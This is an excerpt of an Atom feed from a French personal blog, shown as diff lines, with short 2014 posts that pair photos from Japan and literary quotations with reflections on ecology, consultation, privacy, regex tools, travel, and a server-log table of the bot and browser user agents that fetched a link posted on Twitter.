+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Je refuse le sac en plastique à la caisse. La femme avec un large sourire me répond : « éco ! éco ! » C'est la première fois que la compréhension de mon geste est verbalisé. Nous avons tous les deux le sourire. Elle à sa caisse, et moi déjà sur le chemin.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-23:2014/07/23/discussions</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/23/discussions"/>
+ <title>Discussions ouvertes</title>
+ <published>2014-07-23T23:59:00+07:00</published>
+ <updated>2014-09-19T14:16:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2008/01/11/8378-personnages" alt="personnages en tissu"/>
+ <figcaption>Tsurunoyu, Japon, 11 janvier 2008</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>It was highly convenient for the employers to assemble such a crew of unorganized migrant workers.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Dans un groupe social, si vous permettez une discussion sur un sujet conflictuel, vous devez être prêt à répondre à cette discussion de manière ouverte et franc-jeu. Si le but de la discussion est de donner l'illusion d'une concertation alors que la décision finale est déjà prise, vous non seulement manipulez cette communauté, mais vous la rendez aussi suspicieuse, divisée. Vous perdez la confiance et l'énergie du groupe à vouloir travailler ensemble. Ce n'est pas une bonne stratégie.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-22:2014/07/22/intime</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/22/intime"/>
+ <title>Vie privée et intimité</title>
+ <published>2014-07-22T23:59:00+07:00</published>
+ <updated>2014-09-19T11:59:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2008/01/11/8396-mur" alt="stalagtites sur mur de bois"/>
+ <figcaption>Tsurunoyu, Japon, 11 janvier 2008</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>They could not go home again. To survive the winter in snowy Hokkaido where they had no relatives, they had to "sell" their bodies as cheaply as dirt. Though they had done it over and over, they would calmly (if such a word is appropriate) do the same again the following year.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p><a href="https://books.google.com/ngrams/graph?content=privacy%2Cintimacy&amp;case_insensitive=on&amp;year_start=1500&amp;year_end=2008&amp;corpus=15&amp;smoothing=3&amp;share=&amp;direct_url=t4%3B%2Cprivacy%3B%2Cc0%3B%2Cs0%3B%3Bprivacy%3B%2Cc0%3B%3BPrivacy%3B%2Cc0%3B.t4%3B%2Cintimacy%3B%2Cc0%3B%2Cs0%3B%3Bintimacy%3B%2Cc0%3B%3BIntimacy%3B%2Cc0">privacy, intimacy</a> sur Ngram donne un résultat différencié avec deux périodes. Je n'ai pas d'interprétation magique. Juste que le mot « privacy » semble émerger dans les années 1910 et intimacy reprend du poil de la bête dans les années 1960.</p>
+
+<p>Qu'est-ce qui fait le succès d'un mot ?</p>
+
+<figure>
+ <img src="/2014/07/22/privacy-intimacy" alt="graphe"/>
+ <figcaption>Ngram des mots privacy et intimacy en langue anglaise</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-20:2014/07/20/regex</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/20/regex"/>
+ <title>Regex 101</title>
+ <published>2014-07-20T23:59:00+07:00</published>
+ <updated>2014-09-19T11:59:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4526-tuyaux" alt="Tuyaux sur fond de mur en béton"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>A woman took caramels out of a box and handed two each to the nearby children, saying, "You be good to my Kenkichi, and work together like friends." The woman's hair and clothes were covered with cement dust. Her hands were ungainly, large and rough like roots of a tree.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Un de mes outils favoris lorsque j'ai des expressions régulières complexes à explorer est <a href="http://regex101.com/">Regex 101</a>. Il permet non seulement de comprendre les choix réalisés au fur et à mesure en expliquant les commandes que l'on choisit dans la boîte en haut à droite. Mais il montre également les succès dans la boite à droite juste en dessous. Il y a de nombreuses petites subtilités et aides dans l'interface.</p>
+
+<figure>
+ <img src="/2014/07/20/regex-01" alt="copie d'écran"/>
+ <figcaption>Une expression régulière sur une chaîne de caractères</figcaption>
+</figure>
+
+<p>Un atout supplémentaire et pratique, il possède un générateur automatique de code en JavaScript, PHP et Python.</p>
+
+<figure>
+ <img src="/2014/07/20/regex-02" alt="copie d'écran"/>
+ <figcaption>Génération automatique de code</figcaption>
+</figure>
+
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2014-07-19:2014/07/19/fantome</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/19/fantome"/>
+ <title>Le voyage est un fantôme</title>
+ <published>2014-07-19T23:59:00+07:00</published>
+ <updated>2014-09-16T23:54:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/19/4543-doubles" alt="Personnes en double dans une rue"/>
+ <figcaption>Shibuya, Japon, 19 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Two foreign sailors with pipes in mouth paced the deck back and forth like automatons.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>De passage. Un immeuble proche de sa destruction devient le canevas pour l'expression. Une transition, un état éphémère, nous voyageons avec notre passé et notre futur à quelques pas de nous-même. Je passe par un café. Six ans que je ne suis pas venu. Et pourtant. « Oh ! Cela fait longtemps ! » m'accueille l'employé. Des capsules de notre existence, images fixes, dans un continuum. Je ferme les yeux. J'ouvre les yeux. Déjà une fraction d'années de lumière. L'esthétique de l'automate. Déjà une fraction d'années de lumière. Le voyage est un fantôme.</p>
+
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry> <id>tag:la-grange.net,2014-07-17:2014/07/17/expiration</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/17/expiration"/>
+ <title>L'information se cache pour mourir</title>
+ <published>2014-07-17T23:59:00+07:00</published>
+ <updated>2014-09-15T12:40:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4477-boutique" alt="Daruman sur étagères vides"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Blown by the wind, smoke drifted over waves wafting a stifling smell of coal. From time to time a harsh rattle of winches traveling along the waves reverberated against the flesh.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Un <a href="http://www.japantoday.com/category/sports/view/tokyo-projects-economic-impact-of-2020-olympics">article</a> totalement bénin dans la rubrique sport d'un journal en ligne. Et pourtant, l'article a disparu. La rouille aura fait son effet. Il y a cependant trois éléments originaux :</p>
+
+<ul>
+ <li>L'URL est toujours la même</li>
+ <li>Le contenu de l'article a été remplacé par la mention <q lang="en" cite="http://www.japantoday.com/category/sports/view/tokyo-projects-economic-impact-of-2020-olympics">The requested article has expired, and is no longer available. Any related articles, and user comments are shown below.</q></li>
+ <li>Les commentaires sont toujours présents. Ils sont devenus en fait le commentaire principal. Un peu si comme une œuvre avait été détruite et que nous n'avions plus que les commentaires périphériques pour la reconstruire.</li>
+</ul>
+
+<p>En fait tout comme un roman historique qui s'appuie sur l'information contextuelle et non directe, nous pourrions nous lancer dans le projet de réécrire ces articles disparus, expirés en utilisant uniquement comme source l'information des commentaires. Cela nous offrirait un champ du possible immensément riche et créatif.</p>
+
+<figure>
+ <img src="/2014/07/17/rustyweb-expired" alt="Copie d'écran d'une page de journal"/>
+ <figcaption>JapanToday, 8 juin 2012</figcaption>
+</figure>
+
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/></entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-16:2014/07/16/abandon</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/16/abandon"/>
+ <title>Le premier pas dans la poussière</title>
+ <published>2014-07-16T23:59:00+07:00</published>
+ <updated>2014-09-15T12:25:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4509-abandon" alt="Maison abandonnée couverte de lierre"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Buddy, we're off to hell.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Les lieux abandonnés sont ces endroits qui offrent la possibilité du territoire vierge, le premier pas dans la poussière, la trace dans la neige. On imagine le craquement de la branche morte dans la forêt étouffée. Nous désirons l'ombre, le silence et la suspension du temps, l'océan infini, la tempête de sable, le blizzard.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-15:2014/07/15/cirque</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/15/cirque"/>
+ <title>Le souvenir du cirque</title>
+ <published>2014-07-15T23:59:00+07:00</published>
+ <updated>2014-09-11T12:25:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4539-peluche" alt="Deux peluches d'ourson au bord d'une fenêtre"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/anna_de_noailles/l_inquiet_desir.html">
+ <p>Le coeur monte et s'ébat dans l'air mol et fleuri.<br/>
+- Mon coeur, qu'attendez-vous de la chaude journée,<br/>
+Est-ce le clair réveil de l'enfance étonnée<br/>
+Qui regarde, s'élance, ouvre les mains et rit ?
+</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Anna de Noailles</span>, <cite class="titre">L'inquiet désir</cite>.</p>
+</div>
+
+<p>Je lui disais « raconte moi l'histoire du cirque Narcisse. » Inlassablement avant que les paupières lourdes n'emportent la fin du récit, ma mère me racontait l'histoire que son père lui racontait dans son enfance. C'est ainsi que la légende du cirque vibre au son de la grande parade. Les rêves d'enfance n'ont pas d'âge. Ils habitent nos corps un à un, génération après génération. Ils vivent sur nos mots et nous les transmettons à la suivante.</p>
+
+<p>Alors ce soir encore, je rêve du cirque Narcisse.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2014-07-14:2014/07/14/amis</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/14/amis"/>
+ <title>Amis</title>
+ <published>2014-07-14T23:59:00+07:00</published>
+ <updated>2014-09-11T12:13:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4542-buddy" alt="Deux personnes marchant sur le trottoir"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/emile_blemont/venus_au_ciel.html">
+ <p>Une averse a lavé le ciel. Il se fait tard.<br/>
+Le creux de la vallée est couvert de brouillard ;<br/>
+Mais sur les coteaux clairs luit au loin la feuillée,<br/>
+Et le firmament mêle à la forêt mouillée<br/>
+Des palpitations de clarté pâle. Amis,<br/>
+L'heure est propice : allons, par les bois endormis,<br/>
+Dans les champs, au-dessus de la prairie humide,<br/>
+Voir Vénus qui se lève à l'horizon limpide !</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Émile Blémont</span>, <cite class="titre">Vénus au ciel</cite>.</p>
+</div>
+
+<p>Les décisions que l'on prend par amitié, les chemins que l'on explore ensemble sans toujours se croiser si ce n'est qu'au long des années trop distantes.</p>
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-13:2014/07/13/vestige</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/13/vestige"/>
+ <title>Twitter et l'empire des bots</title>
+ <published>2014-07-13T23:59:00+07:00</published>
+ <updated>2014-09-08T10:05:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4505-escalier" alt="Escalier sans destination"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div class="extrait">
+ <blockquote cite="http://poesie.webnet.fr/lesgrandsclassiques/poemes/eustorg_de_beaulieu/ballade_d_aucunes_mauvaises_coutumes_qui_regnent_maintenant.html">
+ <p>On n'estime plus maintenant<br/>
+Un homme, eût-il le sens d'Homère<br/>
+S'il n'est riche et grands biens tenant<br/>
+Quoi qu'il soit trompeur et faussaire. </p>
+ </blockquote>
+ <p class="source"><span class="auteur">Eustorg de Beaulieu</span>, <cite class="titre">Ballade d'aucunes mauvaises coutumes qui règnent maintenant</cite>.</p>
+</div>
+
+<p>Dans nos espaces, nos mots, nos pensées, nous rencontrons des vestiges du sens. Ils ont eu, à un moment donné, toute l'ampleur du signifiant et du signifié. Et puis un jour, ils ont perdu leur raison d'être.</p>
+
+<p>Quel est le sens de nos communications anonymes ? Hier et aujourd'hui, je voulais découvrir pour moi si les agents utilisateurs de l'application twitter et de Safari lui-même sur iOS étaient différents ou similaires. Je voulais comprendre comment le nom choix de son navigateur ou de sa bibliothèques de rendu Web gonflait les statistiques d'un navigateur plutôt qu'un autre.</p>
+
+<p>J'ai donc posté un URL qui n'a pas de représentation sur twitter afin de tester et j'ai suivi le journal des connexions du serveur afin de définir quels étaient les différentes modalités.</p>
+
+<pre><code>http://www.la-grange.net/tmp/test</code></pre>
+
+<p>Un premier test avec mon navigateur, puis avec l'application twitter sur iOS et puis finalement avec Safari sur iOS.</p>
+
+<table>
+<caption>Liste des accès pour un lien en fonction de la date</caption>
+ <thead>
+ <tr><th>heure</th><th>referer</th><th>UA</th></tr>
+ </thead>
+ <tbody>
+ <tr><td>21:25:06</td><td>–</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0</td></tr>
+ <tr><td>21:30:00</td><td>http://t.co/CpmEEUTIwn</td><td>Mozilla/5.0 (iPod; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B500 Twitter for iPhone</td></tr>
+ <tr><td>21:31:06</td><td>–</td><td>Mozilla/5.0 (iPod; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B500 Safari/8536.25</td></tr>
+ </tbody>
+</table>
+
+<p>Comme prévu les deux clients diffèrent. Le début de la chaîne est la même et puis la fin devient :</p>
+
+<pre><code> Mobile/10B500 Twitter for iPhone
+Version/6.0 Mobile/10B500 Safari/8536.25</code>
+</pre>
+
+<p>Dans les statistiques de trafic, on sépare rarement pour les appareils iOS ce qui vient du navigateur directement et ce qui vient de l'utilisation par l'application native des WebViews.</p>
+
+<h2 id="robots">Les non conversations avec les robots</h2>
+
+<p>Mais ce qui m'a surpris n'est finalement pas ce que je voulais tester mais le résultat du trafic que j'ai pu observer suite à la publication du lien. Aussitôt le lien publié sur twitter, ce sont les bots qui ont avalé le trafic. Immédiatement, certains avec un HEAD pour tester la ressource, d'autres directement avec un GET. Autres constats de ce trafic organique sur 113 requêtes :</p>
+
+<ul>
+ <li>35 Safari, 23 Firefox, 9 chrome, 4 IE</li>
+ <li>47 Macintosh, 7 iPhone, 3 iPad, 2 iPod, 7 Android, 10 Windows, 2 Windows Phone, 3 Linux</li>
+</ul>
+
+<table>
+<caption>Liste des accès pour un lien en fonction de la date</caption>
+<thead>
+<tr><th>Date</th><th/><th>Méthode</th><th>Agent utilisateur</th></tr>
+</thead>
+<tbody>
+<tr><td>12T21:25:06</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0</td></tr>
+<tr class="bot"><td>12T21:29:01</td><td/><td>HEAD</td><td>MetaURI API/2.0 +metauri.com</td></tr>
+<tr class="bot"><td>12T21:29:01</td><td/><td>HEAD</td><td>python-requests/1.2.3 CPython/2.7.2+ Linux/3.0.0-16-virtual</td></tr>
+<tr class="bot"><td>12T21:29:01</td><td/><td>GET</td><td>Mozilla/5.0 ()</td></tr>
+<tr class="bot"><td>12T21:29:02</td><td/><td>GET</td><td>Livelapbot/0.1</td></tr>
+<tr class="bot"><td>12T21:29:02</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; TweetmemeBot/3.0; +http://tweetmeme.com/)</td></tr>
+<tr class="bot"><td>12T21:29:03</td><td/><td>HEAD</td><td>Google-HTTP-Java-Client/1.17.0-rc (gzip)</td></tr>
+<tr class="bot"><td>12T21:29:03</td><td/><td>HEAD</td><td>Google-HTTP-Java-Client/1.17.0-rc (gzip)</td></tr>
+<tr><td>12T21:29:03</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>12T21:29:10</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)</td></tr>
+<tr><td>12T21:29:10</td><td/><td>GET</td><td>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0</td></tr>
+<tr class="bot"><td>12T21:29:18</td><td/><td>GET</td><td>Jakarta Commons-HttpClient/3.1</td></tr>
+<tr class="bot"><td>12T21:29:45</td><td/><td>HEAD</td><td>Jakarta Commons-HttpClient/3.0.1</td></tr>
+<tr><td>12T21:29:56</td><td/><td>HEAD</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36</td></tr>
+<tr><td>12T21:30:00</td><td/><td>GET</td><td>Mozilla/5.0 (iPod; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B500 Twitter for iPhone</td></tr>
+<tr class="bot"><td>12T21:30:14</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; PaperLiBot/2.1; http://support.paper.li/entries/20023257-what-is-paper-li)</td></tr>
+<tr class="bot"><td>12T21:30:22</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; PaperLiBot/2.1; http://support.paper.li/entries/20023257-what-is-paper-li)</td></tr>
+<tr><td>12T21:31:06</td><td/><td>GET</td><td>Mozilla/5.0 (iPod; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B500 Safari/8536.25</td></tr>
+<tr><td>12T21:35:05</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0</td></tr>
+<tr><td>12T21:35:29</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr class="bot"><td>12T21:35:58</td><td/><td>GET</td><td>-</td></tr>
+<tr><td>12T21:36:30</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36</td></tr>
+<tr><td>12T21:37:14</td><td/><td>GET</td><td>Mozilla/5.0 (Linux; Android 4.4.4; Nexus 5 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36</td></tr>
+<tr><td>12T21:39:45</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2</td></tr>
+<tr><td>12T21:42:14</td><td/><td>GET</td><td>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 4.0.20506)</td></tr>
+<tr class="bot"><td>12T21:43:01</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; EveryoneSocialBot/1.0; support@everyonesocial.com http://everyonesocial.com/)</td></tr>
+<tr><td>12T21:43:20</td><td/><td>GET</td><td>Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0</td></tr>
+<tr><td>12T21:43:27</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr class="bot"><td>12T21:43:55</td><td/><td>HEAD</td><td>Mozilla/5.0 (compatible; Jetslide; +http://jetsli.de/crawler)</td></tr>
+<tr><td>12T21:44:23</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>12T21:46:39</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4</td></tr>
+<tr><td>12T21:46:49</td><td/><td>GET</td><td>Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36</td></tr>
+<tr class="bot"><td>12T21:51:06</td><td/><td>GET</td><td>Python-urllib/2.7</td></tr>
+<tr><td>12T21:51:58</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>12T21:56:06</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.90 Safari/537.1</td></tr>
+<tr><td>12T21:59:04</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr class="bot"><td>12T22:00:35</td><td/><td>GET</td><td>Twurly v1.0 (http://twurly.org)</td></tr>
+<tr><td>12T22:03:56</td><td/><td>GET</td><td>Mozilla/5.0 (Linux; Android 4.4.4; Nexus 5 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36</td></tr>
+<tr><td>12T22:12:56</td><td/><td>GET</td><td>Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 Twitter for iPhone</td></tr>
+<tr><td>12T22:13:51</td><td/><td>GET</td><td>Mozilla/5.0 (Linux; Android 4.0.3; GT-P5110 Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Safari/537.36</td></tr>
+<tr><td>12T22:13:58</td><td/><td>GET</td><td>Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 Twitter for iPhone</td></tr>
+<tr class="bot"><td>12T22:16:54</td><td/><td>GET</td><td>jack</td></tr>
+<tr><td>12T22:26:18</td><td/><td>GET</td><td>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204firefox/2.0.0.1</td></tr>
+<tr class="bot"><td>12T22:36:47</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)</td></tr>
+<tr><td>12T22:42:44</td><td/><td>GET</td><td>Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 920) like Gecko</td></tr>
+<tr class="bot"><td>12T22:52:33</td><td/><td>GET</td><td>newsme/1.0; feedback@news.me</td></tr>
+<tr><td>12T23:16:11</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)</td></tr>
+<tr class="bot"><td>12T23:24:22</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)</td></tr>
+<tr class="bot"><td>12T23:24:54</td><td/><td>GET</td><td>Googlebot/2.1 (+http://www.google.com/bot.html)</td></tr>
+<tr><td>12T23:28:29</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr class="bot"><td>13T00:01:06</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)</td></tr>
+<tr class="bot"><td>13T00:14:51</td><td/><td>GET</td><td>Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)</td></tr>
+<tr><td>13T00:23:36</td><td/><td>GET</td><td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</td></tr>
+<tr><td>13T00:59:08</td><td/><td>GET</td><td>Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D167 Twitter for iPhone</td></tr>
+<tr><td>13T01:05:20</td><td/><td>GET</td><td>Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D201 Twitter for iPhone</td></tr>
+<tr><td>13T01:12:28</td><td/><td>GET</td><td>Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 Twitter for iPhone</td></tr>
+<tr class="bot"><td>13T01:22:25</td><td/><td>HEAD</td><td>Java/1.7.0_51</td></tr>
+<tr><td>13T01:36:20</td><td/><td>GET</td><td>Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 920) like Gecko</td></tr>
+<tr><td>13T01:37:17</td><td/><td>GET</td><td>Mozilla/5.0 (Android; Mobile; rv:30.0) Gecko/30.0 Firefox/30.0</td></tr>
+<tr><td>13T01:47:20</td><td/><td>GET</td><td>Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257</td></tr>
+<tr class="bot"><td>13T01:53:46</td><td/><td>HEAD</td><td>-</td></tr>
+<tr><td>13T02:26:16</td><td/><td>GET</td><td>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:30.0) Gecko/20100101 Firefox/30.0 Cyberfox/30.0</td></tr>
